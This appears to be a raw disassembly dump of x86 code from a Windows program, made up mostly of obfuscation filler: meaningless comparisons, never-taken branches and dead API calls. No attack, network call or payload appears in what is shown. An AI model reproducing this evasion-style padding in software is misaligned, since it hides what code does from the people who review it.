inc eax
cmp eax, 0xfffffff7
jl 0x46f602
mov dword [ebp - 0x1510], 1
jmp 0x46f609
and dword [ebp - 0x1510], 0
mov dword [ebp - 0x1b28], 0xe82ca968
mov eax, dword [ebp - 0x1b28]
mov dword [ebp - 0xdf0], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xdf0]
mov dword [ebp + eax - 0x2404], ecx
mov eax, dword [ebp - 0xdf0]
cmp eax, dword [ebp - 0x1510]
je 0x46f64c
mov dword [ebp - 0xdf8], 1
jmp 0x46f653
and dword [ebp - 0xdf8], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xdf8], eax
jl 0x46f66d
mov dword [ebp - 0x1fd8], 1
jmp 0x46f674
and dword [ebp - 0x1fd8], 0
mov eax, dword [ebp - 0xa4]
mov eax, dword [ebp + eax*4 - 0x1ce8]
mov dword [ebp - 0x2bdc], eax
push 4
pop eax
shl eax, 0
mov dword [ebp + eax - 0x2de0], 0x37bd55fd
mov eax, 0x37bd55fd
cmp eax, 0x9413e458
jb 0x46f6b0
mov dword [ebp - 0xac8], 1
jmp 0x46f6b7
and dword [ebp - 0xac8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xac8]
mov dword [ebp + eax - 0x2820], ecx
cmp dword [ebp - 0xac8], 0
jne 0x46f6e1
xor eax, eax
inc eax
jne 0x46f6e1
and dword [ebp - 0x1898], 0
jmp 0x46f6eb
mov dword [ebp - 0x1898], 1
mov eax, dword [ebp - 0x99c]
inc eax
mov dword [ebp - 0x99c], eax
mov eax, dword [ebp - 0x99c]
cmp eax, dword [ebp - 0x1898]
jl 0x46f712
mov dword [ebp - 0xe00], 1
jmp 0x46f719
and dword [ebp - 0xe00], 0
cmp dword [ebp - 0xe00], 0x693e
jle 0x46f731
mov dword [ebp - 0x1518], 1
jmp 0x46f738
and dword [ebp - 0x1518], 0
cmp dword [ebp - 0x1518], 0xf9eb11de
jne 0x46f750
mov dword [ebp - 0xe08], 1
jmp 0x46f757
and dword [ebp - 0xe08], 0
mov eax, dword [ebp - 0xa4]
cmp dword [ebp - 0xe08], eax
jge 0x46f771
mov dword [ebp - 0x1a48], 1
jmp 0x46f778
and dword [ebp - 0x1a48], 0
mov eax, dword [ebp - 0x1a48]
mov dword [ebp - 0x1d40], eax
jmp 0x46f507
mov dword [ebp - 0x2be4], 0x6b0f7383
mov dword [ebp - 0x4b4], 0x964a53aa
mov dword [ebp - 0x2bec], 0x6580849f
mov dword [ebp - 0x2bf4], 0x74006310
mov dword [ebp - 0x420], 0x9b6917ab
mov dword [ebp - 0x7a8], 0
jmp 0x46f7d4
mov eax, dword [ebp - 0x7a8]
inc eax
mov dword [ebp - 0x7a8], eax
cmp dword [ebp - 0x7a8], 2
jge 0x46f7f0
mov eax, dword [ebp - 0x7a8]
mov dword [ebp + eax*4 - 0x282c], 6
jmp 0x46f7c7
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
mov dword [ebp - 0x420], 0
jmp 0x46f816
mov eax, dword [ebp - 0x420]
inc eax
mov dword [ebp - 0x420], eax
cmp dword [ebp - 0x420], 0x34
jg 0x46f86d
mov dword [ebp - 0xe10], 0
mov dword [ebp - 0x4b4], 1
jmp 0x46f842
mov eax, dword [ebp - 0x4b4]
dec eax
mov dword [ebp - 0x4b4], eax
cmp dword [ebp - 0x4b4], 0
jl 0x46f860
mov eax, dword [ebp - 0x4b4]
mov eax, dword [ebp + eax*4 - 0x282c]
mov dword [ebp - 0xe10], eax
jmp 0x46f835
cmp dword [ebp - 0xe10], 0
je 0x46f86b
jmp 0x46f809
jmp 0x46f809
mov dword [ebp - 0xef8], 0xfff8
mov dword [ebp - 0x254], 0xffffffff
mov dword [ebp - 0xa54], 0xffffffff
mov dword [ebp - 0x2bfc], 9
mov dword [ebp - 0x608], 0
jmp 0x46f8ae
mov eax, dword [ebp - 0x608]
inc eax
mov dword [ebp - 0x608], eax
cmp dword [ebp - 0x608], 3
jge 0x46f8ca
mov eax, dword [ebp - 0x608]
mov dword [ebp + eax*4 - 0x2394], 0xa6847dfa
jmp 0x46f8a1
mov byte [ebp - 0x365], 0
movzx eax, byte [ebp - 0x365]
test eax, eax
je 0x46f8ed
push 0
push 0
push 0xcf7
push 0
call dword [sym.imp.KERNEL32.dll_GetFullPathNameW]
mov dword [ebp - 0x254], 0
jmp 0x46f906
mov eax, dword [ebp - 0x254]
inc eax
mov dword [ebp - 0x254], eax
cmp dword [ebp - 0x254], 2
jg 0x46f9e8
mov dword [ebp - 0x1528], 0xffffffff
mov dword [ebp - 0xa54], 0xfffffffe
mov eax, dword [ebp - 0x254]
mov eax, dword [ebp + eax*4 - 0x2394]
cmp dword [ebp - 0xa54], eax
je 0x46f9ac
mov eax, dword [ebp - 0x254]
mov eax, dword [ebp + eax*4 - 0x2394]
mov dword [ebp - 0x1520], eax
mov eax, dword [ebp - 0x254]
mov ecx, dword [ebp - 0x1520]
mov dword [ebp + eax*4 - 0x2394], ecx
mov eax, dword [ebp - 0x1528]
cmp dword [ebp - 0x1520], eax
jl 0x46f98e
mov eax, 0xcf4a
test eax, eax
je 0x46f98e
cmp dword [ebp - 0xa54], 0
je 0x46f98e
mov dword [ebp - 0xe18], 1
jmp 0x46f995
and dword [ebp - 0xe18], 0
mov eax, dword [ebp - 0x254]
cmp eax, dword [ebp - 0xe18]
jl 0x46f9ac
and dword [ebp - 0x18a0], 0
jmp 0x46f9b6
mov dword [ebp - 0x18a0], 1
mov eax, dword [ebp - 0x18a0]
add eax, 5
cmp eax, 1
jae 0x46f9d0
mov dword [ebp - 0xe20], 1
jmp 0x46f9d7
and dword [ebp - 0xe20], 0
mov eax, dword [ebp - 0xe20]
mov dword [ebp - 0x1528], eax
jmp 0x46f8f9
mov dword [ebp - 0x2258], 0xfffffffc
mov dword [ebp - 0x2254], 0xfffffffc
mov dword [ebp - 0x2250], 0xfffffffc
mov dword [ebp - 0x224c], 0xfffffffc
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0x2258], 0
jmp 0x46fa3e
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x2258]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x2258], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x2258], 0x1d
jle 0x46fad4
mov dword [ebp - 0x458], 0xffffffff
mov dword [ebp - 0x7b0], 0
jmp 0x46fa75
mov eax, dword [ebp - 0x7b0]
inc eax
mov dword [ebp - 0x7b0], eax
cmp dword [ebp - 0x7b0], 2
jge 0x46fa91
mov eax, dword [ebp - 0x7b0]
mov dword [ebp + eax*4 - 0x2308], 0xffff
jmp 0x46fa68
mov dword [ebp - 0x458], 0
jmp 0x46faaa
mov eax, dword [ebp - 0x458]
inc eax
mov dword [ebp - 0x458], eax
cmp dword [ebp - 0x458], 1
jg 0x46facf
mov eax, dword [ebp - 0x458]
mov ecx, dword [ebp - 0x458]
mov eax, dword [ebp + eax*4 - 0x2308]
mov dword [ebp + ecx*4 - 0x2308], eax
jmp 0x46fa9d
jmp 0x46fa23
mov dword [ebp - 0x9b4], 0x9827
mov dword [ebp - 0x538], 0x8430
mov dword [ebp - 0x1d48], 1
mov dword [ebp - 0x610], 0
jmp 0x46fb0b
mov eax, dword [ebp - 0x610]
inc eax
mov dword [ebp - 0x610], eax
cmp dword [ebp - 0x610], 1
jge 0x46fb27
mov eax, dword [ebp - 0x610]
mov dword [ebp + eax*4 - 0x7b8], 0x1747
jmp 0x46fafe
mov byte [ebp - 0x2a2], 0
movzx eax, byte [ebp - 0x2a2]
test eax, eax
je 0x46fb4a
push 0
push 0x1186
push 0
push 0
call dword [sym.imp.KERNEL32.dll_VerSetConditionMask]
mov eax, dword [ebp - 0x538]
cmp dword [ebp - 0x538], eax
jle 0x46fb64
mov dword [ebp - 0x18a8], 1
jmp 0x46fb6b
and dword [ebp - 0x18a8], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b8]
mov dword [ebp - 0x2c04], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x7b8], 1
je 0x46fb9a
mov dword [ebp - 0xe28], 1
jmp 0x46fba1
and dword [ebp - 0xe28], 0
mov eax, dword [ebp - 0x538]
cmp dword [ebp - 0xe28], eax
jl 0x46fbbb
mov dword [ebp - 0x1b90], 1
jmp 0x46fbc2
and dword [ebp - 0x1b90], 0
mov eax, dword [ebp - 0x1b90]
sub eax, 0x15f372ba
cmp eax, 4
jb 0x46fbde
mov dword [ebp - 0xe30], 1
jmp 0x46fbe5
and dword [ebp - 0xe30], 0
mov eax, 0x49d585ed
sub eax, dword [ebp - 0xe30]
cmp eax, 0xec7e
jge 0x46fc03
mov dword [ebp - 0x1530], 1
jmp 0x46fc0a
and dword [ebp - 0x1530], 0
cmp dword [ebp - 0x1530], 0x2f20
jne 0x46fc22
mov dword [ebp - 0x2160], 1
jmp 0x46fc29
and dword [ebp - 0x2160], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b8]
mov dword [ebp - 0x2c0c], eax
xor eax, eax
add eax, 0x9d70
cmp eax, 0xce96f8f9
je 0x46fc56
mov dword [ebp - 0xe38], 1
jmp 0x46fc5d
and dword [ebp - 0xe38], 0
mov eax, dword [ebp - 0x538]
imul eax, dword [ebp - 0xe38]
cmp dword [ebp - 0x18a8], eax
jle 0x46fc7e
mov dword [ebp - 0xe40], 1
jmp 0x46fc85
and dword [ebp - 0xe40], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x7b8]
cmp dword [ebp - 0xe40], eax
je 0x46fca6
mov dword [ebp - 0x1538], 1
jmp 0x46fcad
and dword [ebp - 0x1538], 0
mov eax, dword [ebp - 0x1538]
add eax, 0xbb9c
cmp eax, dword [ebp - 0x538]
je 0x46fccc
mov dword [ebp - 0xe48], 1
jmp 0x46fcd3
and dword [ebp - 0xe48], 0
mov eax, dword [ebp - 0xe48]
mov dword [ebp - 0x1d48], eax
mov dword [ebp - 0xad4], 0x4dbf0cf
mov dword [ebp - 0x1d80], 0x335c22c9
mov dword [ebp - 0x294], 0xd7b1
mov dword [ebp - 0x4bc], 0x6695998
mov dword [ebp - 0xf8], 0xdc6b79df
mov dword [ebp - 0x428], 5
mov dword [ebp - 0x30c], 0xa0148014
mov dword [ebp - 0x20], 0x976b5a7d
mov dword [ebp - 0x1a58], 0x2bca918c
mov dword [ebp - 0x2168], 0xfffffffe
mov dword [ebp - 0x618], 0
jmp 0x46fd59
mov eax, dword [ebp - 0x618]
inc eax
mov dword [ebp - 0x618], eax
cmp dword [ebp - 0x618], 2
jge 0x46fd75
mov eax, dword [ebp - 0x618]
mov dword [ebp + eax*4 - 0x2058], 0x74f57033
jmp 0x46fd4c
mov eax, dword [ebp - 0x4bc]
mov dword [ebp - 0x2c14], eax
mov eax, dword [ebp - 0x4bc]
sub eax, 0xdfb86a2
cmp eax, dword [ebp - 0x4bc]
jle 0x46fda0
mov dword [ebp - 0x1a50], 1
jmp 0x46fda7
and dword [ebp - 0x1a50], 0
mov eax, dword [ebp - 0x1a50]
mov dword [ebp - 0xf8], eax
mov eax, dword [ebp - 0xf8]
sub eax, 9
cmp eax, 0x855eec80
jae 0x46fdcf
mov dword [ebp - 0x1fe0], 1
jmp 0x46fdd6
and dword [ebp - 0x1fe0], 0
mov eax, dword [ebp - 0x294]
mov dword [ebp - 0x2c1c], eax
xor eax, eax
inc eax
cmp eax, 0xfffffffc
jbe 0x46fdf6
mov dword [ebp - 0xe50], 1
jmp 0x46fdfd
and dword [ebp - 0xe50], 0
cmp dword [ebp - 0xe50], 6
jle 0x46fe0d
cmp dword [ebp - 0x428], 0
mov eax, dword [ebp - 0x30c]
cmp dword [ebp - 0x428], eax
jge 0x46fe27
mov dword [ebp - 0x1540], 1
jmp 0x46fe2e
and dword [ebp - 0x1540], 0
mov eax, dword [ebp - 0x1540]
sub eax, dword [ebp - 0x294]
jne 0x46fe4e
cmp dword [ebp - 0xf8], 0
jne 0x46fe4e
and dword [ebp - 0xe58], 0
jmp 0x46fe58
mov dword [ebp - 0xe58], 1
mov eax, dword [ebp - 0x294]
add eax, dword [ebp - 0x294]
imul eax, dword [ebp - 0xe58]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x20], eax
cmp dword [ebp - 0x20], 0
je 0x470052
mov dword [ebp - 0x18b0], 8
mov dword [ebp - 0x1d50], 0x46bac6
mov dword [ebp - 0x620], 0xda1f7977
mov dword [ebp - 0x1d58], 0x890aaf75
mov dword [ebp - 0x7c0], 0
jmp 0x46fec5
mov eax, dword [ebp - 0x7c0]
inc eax
mov dword [ebp - 0x7c0], eax
cmp dword [ebp - 0x7c0], 3
jge 0x46fee1
mov eax, dword [ebp - 0x7c0]
mov dword [ebp + eax*4 - 0x2df8], 0xd46409ef
jmp 0x46feb8
cmp dword [ebp - 0xf8], 0
je 0x470007
mov dword [ebp - 0x1d50], 0x805e
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0x2c24], eax
mov dword [ebp - 0x18b0], 0xffffffff
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0x18b0], eax
jne 0x46ff25
mov dword [ebp - 0xe60], 1
jmp 0x46ff2c
and dword [ebp - 0xe60], 0
mov eax, dword [ebp - 0xf8]
cmp dword [ebp - 0xe60], eax
jg 0x46ff46
mov dword [ebp - 0x1548], 1
jmp 0x46ff4d
and dword [ebp - 0x1548], 0
mov eax, dword [ebp - 0x620]
imul eax, dword [ebp - 0x1548]
cmp eax, dword [ebp - 0x294]
je 0x46ff6e
mov dword [ebp - 0xe68], 1
jmp 0x46ff75
and dword [ebp - 0xe68], 0
imul eax, dword [ebp - 0xe68], 0xffff
add eax, 4
cmp eax, 2
jb 0x46ff93
mov dword [ebp - 0x1b30], 1
jmp 0x46ff9a
and dword [ebp - 0x1b30], 0
mov eax, dword [ebp - 0x1b30]
mov dword [ebp - 0x20], eax
mov eax, dword [ebp - 0x4bc]
cmp dword [ebp - 0x20], eax
jne 0x46ffba
mov dword [ebp - 0xe70], 1
jmp 0x46ffc1
and dword [ebp - 0xe70], 0
mov eax, dword [ebp - 0x620]
add eax, dword [ebp - 0xe70]
mov dword [ebp - 0x620], eax
mov eax, dword [ebp - 0x620]
mov dword [ebp - 0x1550], eax
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1550]
mov dword [ebp + eax - 0x2df8], ecx
cmp dword [ebp - 0x1550], 0
je 0x470007
mov dword [ebp - 0x2230], 1
jmp 0x47000e
and dword [ebp - 0x2230], 0
mov eax, dword [ebp - 0x1d58]
mov dword [ebp - 0x2c2c], eax
mov eax, dword [ebp - 0x428]
cmp dword [ebp - 0x4bc], eax
jle 0x470037
cmp dword [ebp - 0x20], 0
jne 0x470037
and dword [ebp - 0xe78], 0
jmp 0x470041
mov dword [ebp - 0xe78], 1
mov eax, dword [ebp - 0xe78]
mov dword [ebp - 0xf8], eax
jmp 0x470140
mov dword [ebp - 0x7c8], 0x7996
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xf8], eax
jge 0x4700f8
mov eax, dword [ebp - 0x428]
mov dword [ebp - 0x2c34], eax
imul eax, dword [ebp - 0x7c8], 0xe0d3
cmp eax, dword [ebp - 0x20]
jg 0x470092
mov dword [ebp - 0x18b8], 1
jmp 0x470099
and dword [ebp - 0x18b8], 0
cmp dword [ebp - 0x18b8], 0xfffffffe
jle 0x4700ae
mov dword [ebp - 0xe80], 1
jmp 0x4700b5
and dword [ebp - 0xe80], 0
mov eax, dword [ebp - 0x7c8]
cmp dword [ebp - 0xe80], eax
je 0x4700cf
mov dword [ebp - 0x1558], 1
jmp 0x4700d6
and dword [ebp - 0x1558], 0
cmp dword [ebp - 0x1558], 8
jl 0x4700eb
mov dword [ebp - 0x1fe8], 1
jmp 0x4700f2
and dword [ebp - 0x1fe8], 0
mov eax, dword [ebp - 0x428]
cmp dword [ebp - 0x7c8], 0
je 0x47011b
mov eax, dword [ebp - 0x1a58]
mov dword [ebp - 0x30c], eax
mov eax, dword [ebp - 0x30c]
mov dword [ebp - 0xf8], eax
jmp 0x470124
mov eax, dword [ebp - 0x7c8]
mov dword [ebp - 0x20], eax
mov byte [ebp - 0x3e6], 0
movzx eax, byte [ebp - 0x3e6]
test eax, eax
je 0x470140
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetExitCodeThread]
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2c3c], eax
cmp dword [ebp - 0x294], 0
je 0x470167
cmp dword [ebp - 0x294], 0
je 0x470167
mov dword [ebp - 0x1560], 1
jmp 0x47016e
and dword [ebp - 0x1560], 0
mov eax, dword [ebp - 0x294]
cmp dword [ebp - 0x428], eax
jle 0x470188
mov dword [ebp - 0x1d60], 1
jmp 0x47018f
and dword [ebp - 0x1d60], 0
mov eax, dword [ebp - 0x20]
mov dword [ebp - 0x2904], eax
cmp dword [ebp - 0x20], 0
jne 0x4701aa
mov dword [ebp - 0xe88], 1
jmp 0x4701b1
and dword [ebp - 0xe88], 0
push 4
pop eax
shl eax, 0
mov eax, dword [ebp + eax - 0x2058]
cmp dword [ebp - 0xe88], eax
jg 0x4701db
cmp dword [ebp - 0x1a58], 0
je 0x4701db
mov dword [ebp - 0xe90], 1
jmp 0x4701e2
and dword [ebp - 0xe90], 0
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xe90]
mov dword [ebp + eax - 0x2058], ecx
mov eax, dword [ebp - 0x1560]
mov dword [ebp - 0xf8], eax
push 4
pop eax
shl eax, 0
mov ecx, dword [ebp - 0xf8]
imul ecx, dword [ebp + eax - 0x2058]
mov eax, dword [ebp - 0x2168]
imul eax, ecx
cmp eax, dword [ebp - 0x30c]
jge 0x470232
mov dword [ebp - 0xe98], 1
jmp 0x470239
and dword [ebp - 0xe98], 0
mov eax, dword [ebp - 0x20]
cmp dword [ebp - 0xe98], eax
jge 0x470250
mov dword [ebp - 0x18c0], 1
jmp 0x470257
and dword [ebp - 0x18c0], 0
mov eax, dword [ebp - 0x18c0]
sub eax, dword [ebp - 0x20]
mov dword [ebp - 0x20], eax
mov dword [ebp - 0x628], 0xc29000d4
mov dword [ebp - 0x2440], 0xfffffffe
mov dword [ebp - 0x2b20], 0
mov dword [ebp - 0x2448], 1
mov dword [ebp - 0x290c], 1
mov dword [ebp - 0x1d8], 0
jmp 0x4702ae
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 2
jge 0x4702ca
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x2e30], 0x13b91020
jmp 0x4702a1
mov dword [ebp - 0x1d8], 0
jmp 0x4702e3
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 3
jge 0x4702ff
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x2f88], 0x4dbf0cf
jmp 0x4702d6
mov dword [ebp - 0x628], 0
jmp 0x470318
mov eax, dword [ebp - 0x628]
inc eax
mov dword [ebp - 0x628], eax
cmp dword [ebp - 0x628], 1
jg 0x470432
mov dword [ebp - 0x630], 0x62751c76
mov dword [ebp - 0x2450], 0
mov dword [ebp - 0x2c68], 0xfffffffb
mov dword [ebp - 0x2458], 0x65cd3860
mov dword [ebp - 0x2914], 0
mov dword [ebp - 0xea0], 0x91b0
mov dword [ebp - 0x7d0], 0
jmp 0x47037a
mov eax, dword [ebp - 0x7d0]
inc eax
mov dword [ebp - 0x7d0], eax
cmp dword [ebp - 0x7d0], 3
jge 0x470396
mov eax, dword [ebp - 0x7d0]
mov dword [ebp + eax*4 - 0x2fa0], 0
jmp 0x47036d
mov dword [ebp - 0x630], 1
jmp 0x4703af
mov eax, dword [ebp - 0x630]
dec eax
mov dword [ebp - 0x630], eax
cmp dword [ebp - 0x630], 0
jl 0x47042d
mov dword [ebp - 0x2460], 0xab59
mov dword [ebp - 0x2b28], 0x2a82a10a
mov dword [ebp - 0x7d8], 0
jmp 0x4703e5
mov eax, dword [ebp - 0x7d8]
inc eax
mov dword [ebp - 0x7d8], eax
cmp dword [ebp - 0x7d8], 2
jge 0x470401
mov eax, dword [ebp - 0x7d8]
mov dword [ebp + eax*4 - 0x2f48], 0x4c38b6b0
jmp 0x4703d8
mov eax, dword [ebp - 0xea0]
inc eax
mov dword [ebp - 0xea0], eax
mov byte [ebp - 0x2c0], 0
movzx eax, byte [ebp - 0x2c0]
test eax, eax
je 0x470428
push 0
call dword [sym.imp.COMDLG32.dll_GetSaveFileNameW]
jmp 0x4703a2
jmp 0x47030b
mov dword [ebp - 0x17c], 0
jmp 0x47044b
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 1
jge 0x470467
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x1d78], 0xe8f21009
jmp 0x47043e
mov dword [ebp - 0xa5c], 0xfffffffb
mov dword [ebp - 0x9ac], 1
mov dword [ebp - 0xae8], 0xdb979cd3
mov dword [ebp - 0x9a4], 0xffffffff
mov dword [ebp - 0x1d68], 0x9cc099a5
mov dword [ebp - 0x1ff0], 1
mov dword [ebp - 0x638], 0
jmp 0x4704bc
mov eax, dword [ebp - 0x638]
inc eax
mov dword [ebp - 0x638], eax
cmp dword [ebp - 0x638], 1
jge 0x4704d8
mov eax, dword [ebp - 0x638]
mov dword [ebp + eax*4 - 0x314], 0x532bb11a
jmp 0x4704af
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x314], 0
je 0x4705ac
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0x314], 0xfffffff6
je 0x470508
mov dword [ebp - 0x1568], 1
jmp 0x47050f
and dword [ebp - 0x1568], 0
mov eax, dword [ebp - 0x1568]
add eax, 0x325d5185
neg eax
cmp eax, 0xffffffff
jne 0x47052d
mov dword [ebp - 0xea8], 1
jmp 0x470534
and dword [ebp - 0xea8], 0
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xea8]
imul ecx, dword [ebp + eax - 0x314]
mov dword [ebp - 0x1c04], ecx
push 4
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0x1c04]
mov dword [ebp + eax - 0x314], ecx
cmp dword [ebp - 0x1c04], 0
jge 0x470576
mov dword [ebp - 0xeb0], 1
jmp 0x47057d
and dword [ebp - 0xeb0], 0
cmp dword [ebp - 0xeb0], 0
jbe 0x470592
mov dword [ebp - 0x1570], 1
jmp 0x470599
and dword [ebp - 0x1570], 0
mov eax, dword [ebp - 0x1570]
mov dword [ebp - 0xa5c], eax
cmp dword [ebp - 0xa5c], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x314]
mov dword [ebp - 0x9ac], eax
mov eax, dword [ebp - 0x9ac]
mov dword [ebp - 0xae8], eax
mov eax, dword [ebp - 0x9a4]
cmp dword [ebp - 0xae8], eax
jne 0x4705e5
mov dword [ebp - 0xeb8], 1
jmp 0x4705ec
and dword [ebp - 0xeb8], 0
mov eax, dword [ebp - 0x9a4]
add eax, dword [ebp - 0xeb8]
mov dword [ebp - 0x9a4], eax
cmp dword [ebp - 0x1d68], 0
jne 0x470663
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x314]
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0x314], eax
mov eax, dword [ebp - 0x1ff0]
mov dword [ebp - 0x2468], eax
cmp dword [ebp - 0xae8], 0x65ad
jg 0x470645
mov dword [ebp - 0x18c8], 1
jmp 0x47064c
and dword [ebp - 0x18c8], 0
mov eax, dword [ebp - 0x9ac]
cmp dword [ebp - 0x18c8], eax
jle 0x470663
and dword [ebp - 0xec0], 0
jmp 0x47066d
mov dword [ebp - 0xec0], 1
mov eax, dword [ebp - 0xec0]
mov dword [ebp - 0xa5c], eax
mov dword [ebp - 0x17c], 0
jmp 0x470692
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 2
jge 0x4706ae
mov eax, dword [ebp - 0x17c]
mov dword [ebp + eax*4 - 0x2064], 0xfffffff9
jmp 0x470685
mov dword [ebp - 0x1c], 0x1e2c0d37
mov dword [ebp - 0x31c], 0xc96c7979
mov dword [ebp - 0xed8], 0x94bb489f
mov dword [ebp - 0x291c], 0xffffffff
mov dword [ebp - 0x2470], 0xffffffff
mov dword [ebp - 0x1e0], 0
jmp 0x4706f6
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 3
jge 0x470712
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x3030], 0xffffffff
jmp 0x4706e9
mov dword [ebp - 0x1e0], 0
jmp 0x47072b
mov eax, dword [ebp - 0x1e0]
inc eax
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 2
jge 0x470747
mov eax, dword [ebp - 0x1e0]
mov dword [ebp + eax*4 - 0x2e58], 1
jmp 0x47071e
xor eax, eax
inc eax
je 0x470767
cmp dword [ebp - 0x1c], 0
je 0x470767
mov eax, 0x61bf
test eax, eax
je 0x470767
mov dword [ebp - 0x1578], 1
jmp 0x47076e
and dword [ebp - 0x1578], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1578], eax
jg 0x470785
mov dword [ebp - 0xec8], 1
jmp 0x47078c
and dword [ebp - 0xec8], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0xec8], eax
jle 0x4707a3
mov dword [ebp - 0x1a60], 1
jmp 0x4707aa
and dword [ebp - 0x1a60], 0
cmp dword [ebp - 0x1a60], 0xbeab1d6a
jae 0x4707c5
cmp dword [ebp - 0x1c], 0
jne 0x4707c5
and dword [ebp - 0xed0], 0
jmp 0x4707cf
mov dword [ebp - 0xed0], 1
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x31c], eax
mov eax, dword [ebp - 0x31c]
mov ecx, dword [ebp - 0x1c]
add ecx, dword [ebp - 0xed0]
add eax, ecx
cmp eax, dword [ebp - 0x1c]
jle 0x470800
cmp dword [ebp - 0x31c], 0
jne 0x470800
and dword [ebp - 0x1580], 0
jmp 0x47080a
mov dword [ebp - 0x1580], 1
mov eax, dword [ebp - 0x1580]
mov dword [ebp - 0xed8], eax
mov eax, dword [ebp - 0xed8]
add eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x1c], eax
jge 0x470836
cmp dword [ebp - 0x1c], 0
je 0x470836
mov dword [ebp - 0x1d70], 1
jmp 0x47083d
and dword [ebp - 0x1d70], 0
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2bf0], eax
mov eax, dword [ebp - 0x1c]
mov dword [ebp - 0x2478], eax
cmp dword [ebp - 0x1c], 0x6c8951bb
jne 0x470864
mov dword [ebp - 0x18d0], 1
jmp 0x47086b
and dword [ebp - 0x18d0], 0
mov eax, dword [ebp - 0x1c]
cmp dword [ebp - 0x18d0], eax
jne 0x470882
cmp dword [ebp + 8], 1
jne 0x4810d2
mov dword [ebp - 0xe1c], str.main_window
mov dword [ebp - 0x208], 0
jmp 0x473877
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 2
jge 0x473893
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0xaac], 0xfffffff6
jmp 0x47386a
mov dword [ebp - 0x208], 0
jmp 0x4738ac
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 2
jge 0x4738c8
mov eax, dword [ebp - 0x208]
mov dword [ebp + eax*4 - 0x2ee8], 0x7a7525d2
jmp 0x47389f
mov byte [ebp - 0x2b2], 0
movzx eax, byte [ebp - 0x2b2]
test eax, eax
je 0x4738e9
push 0
push 0
push 0x1105
call dword [sym.imp.ADVAPI32.dll_CopySid]
push 4
pop eax
imul eax, eax, 0
mov dword [ebp + eax - 0xaac], 0xfffffff7
jmp 0x473917
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaac]
inc eax
push 4
pop ecx
imul ecx, ecx, 0
mov dword [ebp + ecx - 0xaac], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xaac], 0xfffffff8
jl 0x4739d6
mov dword [ebp - 0x1130], 6
mov dword [ebp - 0x1140], 0x40ed3c15
mov eax, dword [ebp - 0x1130]
inc eax
mov dword [ebp - 0x1130], eax
push 4
pop eax
imul eax, eax, 0
cmp dword [ebp + eax - 0xaac], 0
je 0x473968
mov dword [ebp - 0x16b0], 1
jmp 0x47396f
and dword [ebp - 0x16b0], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaac]
cmp dword [ebp - 0x16b0], eax
jge 0x473990
mov dword [ebp - 0x1138], 1
jmp 0x473997
and dword [ebp - 0x1138], 0
mov eax, dword [ebp - 0x1140]
cmp dword [ebp - 0x1138], eax
jne 0x4739b1
mov dword [ebp - 0x1968], 1
jmp 0x4739b8
and dword [ebp - 0x1968], 0
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0xaac]
sub eax, dword [ebp - 0x1968]
mov dword [ebp - 0x1140], eax
jmp 0x4738fc
mov dword [ebp - 0x2434], 0x30
mov dword [ebp - 0x2430], 3
lea ecx, [ebp - 0xa65]
call fcn.00481494
mov dword [ebp - 0x242c], eax
and dword [ebp - 0x2428], 0
